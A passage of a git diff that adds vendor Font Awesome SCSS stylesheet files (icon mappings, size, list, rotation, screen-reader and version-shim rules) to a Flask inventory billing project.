+.#{$fa-css-prefix}-truck:before { content: fa-content($fa-var-truck); } +.#{$fa-css-prefix}-truck-loading:before { content: fa-content($fa-var-truck-loading); } +.#{$fa-css-prefix}-truck-monster:before { content: fa-content($fa-var-truck-monster); } +.#{$fa-css-prefix}-truck-moving:before { content: fa-content($fa-var-truck-moving); } +.#{$fa-css-prefix}-truck-pickup:before { content: fa-content($fa-var-truck-pickup); } +.#{$fa-css-prefix}-tshirt:before { content: fa-content($fa-var-tshirt); } +.#{$fa-css-prefix}-tty:before { content: fa-content($fa-var-tty); } +.#{$fa-css-prefix}-tumblr:before { content: fa-content($fa-var-tumblr); } +.#{$fa-css-prefix}-tumblr-square:before { content: fa-content($fa-var-tumblr-square); } +.#{$fa-css-prefix}-tv:before { content: fa-content($fa-var-tv); } +.#{$fa-css-prefix}-twitch:before { content: fa-content($fa-var-twitch); } +.#{$fa-css-prefix}-twitter:before { content: fa-content($fa-var-twitter); } +.#{$fa-css-prefix}-twitter-square:before { content: fa-content($fa-var-twitter-square); } +.#{$fa-css-prefix}-typo3:before { content: fa-content($fa-var-typo3); } +.#{$fa-css-prefix}-uber:before { content: fa-content($fa-var-uber); } +.#{$fa-css-prefix}-ubuntu:before { content: fa-content($fa-var-ubuntu); } +.#{$fa-css-prefix}-uikit:before { content: fa-content($fa-var-uikit); } +.#{$fa-css-prefix}-umbraco:before { content: fa-content($fa-var-umbraco); } +.#{$fa-css-prefix}-umbrella:before { content: fa-content($fa-var-umbrella); } +.#{$fa-css-prefix}-umbrella-beach:before { content: fa-content($fa-var-umbrella-beach); } +.#{$fa-css-prefix}-uncharted:before { content: fa-content($fa-var-uncharted); } +.#{$fa-css-prefix}-underline:before { content: fa-content($fa-var-underline); } +.#{$fa-css-prefix}-undo:before { content: fa-content($fa-var-undo); } +.#{$fa-css-prefix}-undo-alt:before { content: fa-content($fa-var-undo-alt); } +.#{$fa-css-prefix}-uniregistry:before { content: fa-content($fa-var-uniregistry); } +.#{$fa-css-prefix}-unity:before { content: fa-content($fa-var-unity); } +.#{$fa-css-prefix}-universal-access:before { content: fa-content($fa-var-universal-access); } +.#{$fa-css-prefix}-university:before { content: fa-content($fa-var-university); } +.#{$fa-css-prefix}-unlink:before { content: fa-content($fa-var-unlink); } +.#{$fa-css-prefix}-unlock:before { content: fa-content($fa-var-unlock); } +.#{$fa-css-prefix}-unlock-alt:before { content: fa-content($fa-var-unlock-alt); } +.#{$fa-css-prefix}-unsplash:before { content: fa-content($fa-var-unsplash); } +.#{$fa-css-prefix}-untappd:before { content: fa-content($fa-var-untappd); } +.#{$fa-css-prefix}-upload:before { content: fa-content($fa-var-upload); } +.#{$fa-css-prefix}-ups:before { content: fa-content($fa-var-ups); } +.#{$fa-css-prefix}-usb:before { content: fa-content($fa-var-usb); } +.#{$fa-css-prefix}-user:before { content: fa-content($fa-var-user); } +.#{$fa-css-prefix}-user-alt:before { content: fa-content($fa-var-user-alt); } +.#{$fa-css-prefix}-user-alt-slash:before { content: fa-content($fa-var-user-alt-slash); } +.#{$fa-css-prefix}-user-astronaut:before { content: fa-content($fa-var-user-astronaut); } +.#{$fa-css-prefix}-user-check:before { content: fa-content($fa-var-user-check); } +.#{$fa-css-prefix}-user-circle:before { content: fa-content($fa-var-user-circle); } +.#{$fa-css-prefix}-user-clock:before { content: fa-content($fa-var-user-clock); } +.#{$fa-css-prefix}-user-cog:before { content: fa-content($fa-var-user-cog); } +.#{$fa-css-prefix}-user-edit:before { content: fa-content($fa-var-user-edit); } +.#{$fa-css-prefix}-user-friends:before { content: fa-content($fa-var-user-friends); } +.#{$fa-css-prefix}-user-graduate:before { content: fa-content($fa-var-user-graduate); } +.#{$fa-css-prefix}-user-injured:before { content: fa-content($fa-var-user-injured); } +.#{$fa-css-prefix}-user-lock:before { content: fa-content($fa-var-user-lock); } +.#{$fa-css-prefix}-user-md:before { content: fa-content($fa-var-user-md); } +.#{$fa-css-prefix}-user-minus:before { content: fa-content($fa-var-user-minus); } +.#{$fa-css-prefix}-user-ninja:before { content: fa-content($fa-var-user-ninja); } +.#{$fa-css-prefix}-user-nurse:before { content: fa-content($fa-var-user-nurse); } +.#{$fa-css-prefix}-user-plus:before { content: fa-content($fa-var-user-plus); } +.#{$fa-css-prefix}-user-secret:before { content: fa-content($fa-var-user-secret); } +.#{$fa-css-prefix}-user-shield:before { content: fa-content($fa-var-user-shield); } +.#{$fa-css-prefix}-user-slash:before { content: fa-content($fa-var-user-slash); } +.#{$fa-css-prefix}-user-tag:before { content: fa-content($fa-var-user-tag); } +.#{$fa-css-prefix}-user-tie:before { content: fa-content($fa-var-user-tie); } +.#{$fa-css-prefix}-user-times:before { content: fa-content($fa-var-user-times); } +.#{$fa-css-prefix}-users:before { content: fa-content($fa-var-users); } +.#{$fa-css-prefix}-users-cog:before { content: fa-content($fa-var-users-cog); } +.#{$fa-css-prefix}-users-slash:before { content: fa-content($fa-var-users-slash); } +.#{$fa-css-prefix}-usps:before { content: fa-content($fa-var-usps); } +.#{$fa-css-prefix}-ussunnah:before { content: fa-content($fa-var-ussunnah); } +.#{$fa-css-prefix}-utensil-spoon:before { content: fa-content($fa-var-utensil-spoon); } +.#{$fa-css-prefix}-utensils:before { content: fa-content($fa-var-utensils); } +.#{$fa-css-prefix}-vaadin:before { content: fa-content($fa-var-vaadin); } +.#{$fa-css-prefix}-vector-square:before { content: fa-content($fa-var-vector-square); } +.#{$fa-css-prefix}-venus:before { content: fa-content($fa-var-venus); } +.#{$fa-css-prefix}-venus-double:before { content: fa-content($fa-var-venus-double); } +.#{$fa-css-prefix}-venus-mars:before { content: fa-content($fa-var-venus-mars); } +.#{$fa-css-prefix}-vest:before { content: fa-content($fa-var-vest); } +.#{$fa-css-prefix}-vest-patches:before { content: fa-content($fa-var-vest-patches); } +.#{$fa-css-prefix}-viacoin:before { content: fa-content($fa-var-viacoin); } +.#{$fa-css-prefix}-viadeo:before { content: fa-content($fa-var-viadeo); } +.#{$fa-css-prefix}-viadeo-square:before { content: fa-content($fa-var-viadeo-square); } +.#{$fa-css-prefix}-vial:before { content: fa-content($fa-var-vial); } +.#{$fa-css-prefix}-vials:before { content: fa-content($fa-var-vials); } +.#{$fa-css-prefix}-viber:before { content: fa-content($fa-var-viber); } +.#{$fa-css-prefix}-video:before { content: fa-content($fa-var-video); } +.#{$fa-css-prefix}-video-slash:before { content: fa-content($fa-var-video-slash); } +.#{$fa-css-prefix}-vihara:before { content: fa-content($fa-var-vihara); } +.#{$fa-css-prefix}-vimeo:before { content: fa-content($fa-var-vimeo); } +.#{$fa-css-prefix}-vimeo-square:before { content: fa-content($fa-var-vimeo-square); } +.#{$fa-css-prefix}-vimeo-v:before { content: fa-content($fa-var-vimeo-v); } +.#{$fa-css-prefix}-vine:before { content: fa-content($fa-var-vine); } +.#{$fa-css-prefix}-virus:before { content: fa-content($fa-var-virus); } +.#{$fa-css-prefix}-virus-slash:before { content: fa-content($fa-var-virus-slash); } +.#{$fa-css-prefix}-viruses:before { content: fa-content($fa-var-viruses); } +.#{$fa-css-prefix}-vk:before { content: fa-content($fa-var-vk); } +.#{$fa-css-prefix}-vnv:before { content: fa-content($fa-var-vnv); } +.#{$fa-css-prefix}-voicemail:before { content: fa-content($fa-var-voicemail); } +.#{$fa-css-prefix}-volleyball-ball:before { content: fa-content($fa-var-volleyball-ball); } +.#{$fa-css-prefix}-volume-down:before { content: fa-content($fa-var-volume-down); } +.#{$fa-css-prefix}-volume-mute:before { content: fa-content($fa-var-volume-mute); } +.#{$fa-css-prefix}-volume-off:before { content: fa-content($fa-var-volume-off); } +.#{$fa-css-prefix}-volume-up:before { content: fa-content($fa-var-volume-up); } +.#{$fa-css-prefix}-vote-yea:before { content: fa-content($fa-var-vote-yea); } +.#{$fa-css-prefix}-vr-cardboard:before { content: fa-content($fa-var-vr-cardboard); } +.#{$fa-css-prefix}-vuejs:before { content: fa-content($fa-var-vuejs); } +.#{$fa-css-prefix}-walking:before { content: fa-content($fa-var-walking); } +.#{$fa-css-prefix}-wallet:before { content: fa-content($fa-var-wallet); } +.#{$fa-css-prefix}-warehouse:before { content: fa-content($fa-var-warehouse); } +.#{$fa-css-prefix}-watchman-monitoring:before { content: fa-content($fa-var-watchman-monitoring); } +.#{$fa-css-prefix}-water:before { content: fa-content($fa-var-water); } +.#{$fa-css-prefix}-wave-square:before { content: fa-content($fa-var-wave-square); } +.#{$fa-css-prefix}-waze:before { content: fa-content($fa-var-waze); } +.#{$fa-css-prefix}-weebly:before { content: fa-content($fa-var-weebly); } +.#{$fa-css-prefix}-weibo:before { content: fa-content($fa-var-weibo); } +.#{$fa-css-prefix}-weight:before { content: fa-content($fa-var-weight); } +.#{$fa-css-prefix}-weight-hanging:before { content: fa-content($fa-var-weight-hanging); } +.#{$fa-css-prefix}-weixin:before { content: fa-content($fa-var-weixin); } +.#{$fa-css-prefix}-whatsapp:before { content: fa-content($fa-var-whatsapp); } +.#{$fa-css-prefix}-whatsapp-square:before { content: fa-content($fa-var-whatsapp-square); } +.#{$fa-css-prefix}-wheelchair:before { content: fa-content($fa-var-wheelchair); } +.#{$fa-css-prefix}-whmcs:before { content: fa-content($fa-var-whmcs); } +.#{$fa-css-prefix}-wifi:before { content: fa-content($fa-var-wifi); } +.#{$fa-css-prefix}-wikipedia-w:before { content: fa-content($fa-var-wikipedia-w); } +.#{$fa-css-prefix}-wind:before { content: fa-content($fa-var-wind); } +.#{$fa-css-prefix}-window-close:before { content: fa-content($fa-var-window-close); } +.#{$fa-css-prefix}-window-maximize:before { content: fa-content($fa-var-window-maximize); } +.#{$fa-css-prefix}-window-minimize:before { content: fa-content($fa-var-window-minimize); } +.#{$fa-css-prefix}-window-restore:before { content: fa-content($fa-var-window-restore); } +.#{$fa-css-prefix}-windows:before { content: fa-content($fa-var-windows); } +.#{$fa-css-prefix}-wine-bottle:before { content: fa-content($fa-var-wine-bottle); } +.#{$fa-css-prefix}-wine-glass:before { content: fa-content($fa-var-wine-glass); } +.#{$fa-css-prefix}-wine-glass-alt:before { content: fa-content($fa-var-wine-glass-alt); } +.#{$fa-css-prefix}-wix:before { content: fa-content($fa-var-wix); } +.#{$fa-css-prefix}-wizards-of-the-coast:before { content: fa-content($fa-var-wizards-of-the-coast); } +.#{$fa-css-prefix}-wodu:before { content: fa-content($fa-var-wodu); } +.#{$fa-css-prefix}-wolf-pack-battalion:before { content: fa-content($fa-var-wolf-pack-battalion); } +.#{$fa-css-prefix}-won-sign:before { content: fa-content($fa-var-won-sign); } +.#{$fa-css-prefix}-wordpress:before { content: fa-content($fa-var-wordpress); } +.#{$fa-css-prefix}-wordpress-simple:before { content: fa-content($fa-var-wordpress-simple); } +.#{$fa-css-prefix}-wpbeginner:before { content: fa-content($fa-var-wpbeginner); } +.#{$fa-css-prefix}-wpexplorer:before { content: fa-content($fa-var-wpexplorer); } +.#{$fa-css-prefix}-wpforms:before { content: fa-content($fa-var-wpforms); } +.#{$fa-css-prefix}-wpressr:before { content: fa-content($fa-var-wpressr); } +.#{$fa-css-prefix}-wrench:before { content: fa-content($fa-var-wrench); } +.#{$fa-css-prefix}-x-ray:before { content: fa-content($fa-var-x-ray); } +.#{$fa-css-prefix}-xbox:before { content: fa-content($fa-var-xbox); } +.#{$fa-css-prefix}-xing:before { content: fa-content($fa-var-xing); } +.#{$fa-css-prefix}-xing-square:before { content: fa-content($fa-var-xing-square); } +.#{$fa-css-prefix}-y-combinator:before { content: fa-content($fa-var-y-combinator); } +.#{$fa-css-prefix}-yahoo:before { content: fa-content($fa-var-yahoo); } +.#{$fa-css-prefix}-yammer:before { content: fa-content($fa-var-yammer); } +.#{$fa-css-prefix}-yandex:before { content: fa-content($fa-var-yandex); } +.#{$fa-css-prefix}-yandex-international:before { content: fa-content($fa-var-yandex-international); } +.#{$fa-css-prefix}-yarn:before { content: fa-content($fa-var-yarn); } +.#{$fa-css-prefix}-yelp:before { content: fa-content($fa-var-yelp); } +.#{$fa-css-prefix}-yen-sign:before { content: fa-content($fa-var-yen-sign); } +.#{$fa-css-prefix}-yin-yang:before { content: fa-content($fa-var-yin-yang); } +.#{$fa-css-prefix}-yoast:before { content: fa-content($fa-var-yoast); } +.#{$fa-css-prefix}-youtube:before { content: fa-content($fa-var-youtube); } +.#{$fa-css-prefix}-youtube-square:before { content: fa-content($fa-var-youtube-square); } +.#{$fa-css-prefix}-zhihu:before { content: fa-content($fa-var-zhihu); } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_larger.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_larger.scss new file mode 100644 index 00000000..27c2ad5f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_larger.scss @@ -0,0 +1,23 @@ +// Icon Sizes +// ------------------------- + +// makes the font 33% larger relative to the icon container +.#{$fa-css-prefix}-lg { + font-size: (4em / 3); + line-height: (3em / 4); + vertical-align: -.0667em; +} + +.#{$fa-css-prefix}-xs { + font-size: .75em; +} + +.#{$fa-css-prefix}-sm { + font-size: .875em; +} + +@for $i from 1 through 10 { + .#{$fa-css-prefix}-#{$i}x { + font-size: $i * 1em; + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_list.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_list.scss new file mode 100644 index 00000000..8ebf3333 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_list.scss @@ -0,0 +1,18 @@ +// List Icons +// ------------------------- + +.#{$fa-css-prefix}-ul { + list-style-type: none; + margin-left: $fa-li-width * 5/4; + padding-left: 0; + + > li { position: relative; } +} + +.#{$fa-css-prefix}-li { + left: -$fa-li-width; + position: absolute; + text-align: center; + width: $fa-li-width; + line-height: inherit; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_mixins.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_mixins.scss new file mode 100644 index 00000000..55baeeba --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_mixins.scss @@ -0,0 +1,56 @@ +// Mixins +// -------------------------- + +@mixin fa-icon { + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + display: inline-block; + font-style: normal; + font-variant: normal; + font-weight: normal; + line-height: 1; +} + +@mixin fa-icon-rotate($degrees, $rotation) { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})"; + transform: rotate($degrees); +} + +@mixin fa-icon-flip($horiz, $vert, $rotation) { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)"; + transform: scale($horiz, $vert); +} + + +// Only display content to screen readers. A la Bootstrap 4. +// +// See: http://a11yproject.com/posts/how-to-hide-content/ + +@mixin sr-only { + border: 0; + clip: rect(0, 0, 0, 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; +} + +// Use in conjunction with .sr-only to only display content when it's focused. +// +// Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1 +// +// Credit: HTML5 Boilerplate + +@mixin sr-only-focusable { + &:active, + &:focus { + clip: auto; + height: auto; + margin: 0; + overflow: visible; + position: static; + width: auto; + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_rotated-flipped.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_rotated-flipped.scss new file mode 100644 index 00000000..164d9721 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_rotated-flipped.scss @@ -0,0 +1,24 @@ +// Rotated & Flipped Icons +// ------------------------- + +.#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } +.#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } +.#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } + +.#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } +.#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } +.#{$fa-css-prefix}-flip-both, .#{$fa-css-prefix}-flip-horizontal.#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(-1, -1, 2); } + +// Hook for IE8-9 +// ------------------------- + +:root { + .#{$fa-css-prefix}-rotate-90, + .#{$fa-css-prefix}-rotate-180, + .#{$fa-css-prefix}-rotate-270, + .#{$fa-css-prefix}-flip-horizontal, + .#{$fa-css-prefix}-flip-vertical, + .#{$fa-css-prefix}-flip-both { + filter: none; + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_screen-reader.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_screen-reader.scss new file mode 100644 index 00000000..5d0ab262 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_screen-reader.scss @@ -0,0 +1,5 @@ +// Screen Readers +// ------------------------- + +.sr-only { @include sr-only; } +.sr-only-focusable { @include sr-only-focusable; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_shims.scss b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_shims.scss new file mode 100644 index 00000000..d1753445 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/scss/_shims.scss @@ -0,0 +1,2066 @@ +.#{$fa-css-prefix}.#{$fa-css-prefix}-glass:before { content: fa-content($fa-var-glass-martini); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-meetup { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-star-o:before { content: fa-content($fa-var-star); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-remove:before { content: fa-content($fa-var-times); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-close:before { content: fa-content($fa-var-times); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gear:before { content: fa-content($fa-var-cog); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-trash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-trash-o:before { content: fa-content($fa-var-trash-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-file-o:before { content: fa-content($fa-var-file); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-clock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-clock-o:before { content: fa-content($fa-var-clock); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-down:before { content: fa-content($fa-var-arrow-alt-circle-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrow-circle-o-up:before { content: fa-content($fa-var-arrow-alt-circle-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-play-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-play-circle-o:before { content: fa-content($fa-var-play-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-repeat:before { content: fa-content($fa-var-redo); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rotate-right:before { content: fa-content($fa-var-redo); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-refresh:before { content: fa-content($fa-var-sync); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-list-alt { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dedent:before { content: fa-content($fa-var-outdent); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-video-camera:before { content: fa-content($fa-var-video); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-picture-o:before { content: fa-content($fa-var-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-photo { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-photo:before { content: fa-content($fa-var-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-image { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-image:before { content: fa-content($fa-var-image); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pencil:before { content: fa-content($fa-var-pencil-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-map-marker:before { content: fa-content($fa-var-map-marker-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pencil-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-pencil-square-o:before { content: fa-content($fa-var-edit); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-share-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-share-square-o:before { content: fa-content($fa-var-share-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-check-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-check-square-o:before { content: fa-content($fa-var-check-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrows:before { content: fa-content($fa-var-arrows-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-times-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-times-circle-o:before { content: fa-content($fa-var-times-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-check-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-check-circle-o:before { content: fa-content($fa-var-check-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mail-forward:before { content: fa-content($fa-var-share); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-expand:before { content: fa-content($fa-var-expand-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-compress:before { content: fa-content($fa-var-compress-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-eye { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-eye-slash { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-warning:before { content: fa-content($fa-var-exclamation-triangle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar:before { content: fa-content($fa-var-calendar-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrows-v:before { content: fa-content($fa-var-arrows-alt-v); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrows-h:before { content: fa-content($fa-var-arrows-alt-h); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bar-chart { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bar-chart:before { content: fa-content($fa-var-chart-bar); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bar-chart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bar-chart-o:before { content: fa-content($fa-var-chart-bar); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-twitter-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gears:before { content: fa-content($fa-var-cogs); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thumbs-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-thumbs-o-up:before { content: fa-content($fa-var-thumbs-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thumbs-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-thumbs-o-down:before { content: fa-content($fa-var-thumbs-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-heart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-heart-o:before { content: fa-content($fa-var-heart); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sign-out:before { content: fa-content($fa-var-sign-out-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-linkedin-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-linkedin-square:before { content: fa-content($fa-var-linkedin); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thumb-tack:before { content: fa-content($fa-var-thumbtack); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-external-link:before { content: fa-content($fa-var-external-link-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sign-in:before { content: fa-content($fa-var-sign-in-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-github-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-lemon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-lemon-o:before { content: fa-content($fa-var-lemon); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-square-o:before { content: fa-content($fa-var-square); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bookmark-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bookmark-o:before { content: fa-content($fa-var-bookmark); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-twitter { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook:before { content: fa-content($fa-var-facebook-f); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook-f { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook-f:before { content: fa-content($fa-var-facebook-f); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-github { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-credit-card { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-feed:before { content: fa-content($fa-var-rss); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hdd-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hdd-o:before { content: fa-content($fa-var-hdd); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-right:before { content: fa-content($fa-var-hand-point-right); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-left:before { content: fa-content($fa-var-hand-point-left); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-up:before { content: fa-content($fa-var-hand-point-up); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-o-down:before { content: fa-content($fa-var-hand-point-down); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-arrows-alt:before { content: fa-content($fa-var-expand-arrows-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-group:before { content: fa-content($fa-var-users); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-chain:before { content: fa-content($fa-var-link); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-scissors:before { content: fa-content($fa-var-cut); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-files-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-files-o:before { content: fa-content($fa-var-copy); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-floppy-o { + font-family: 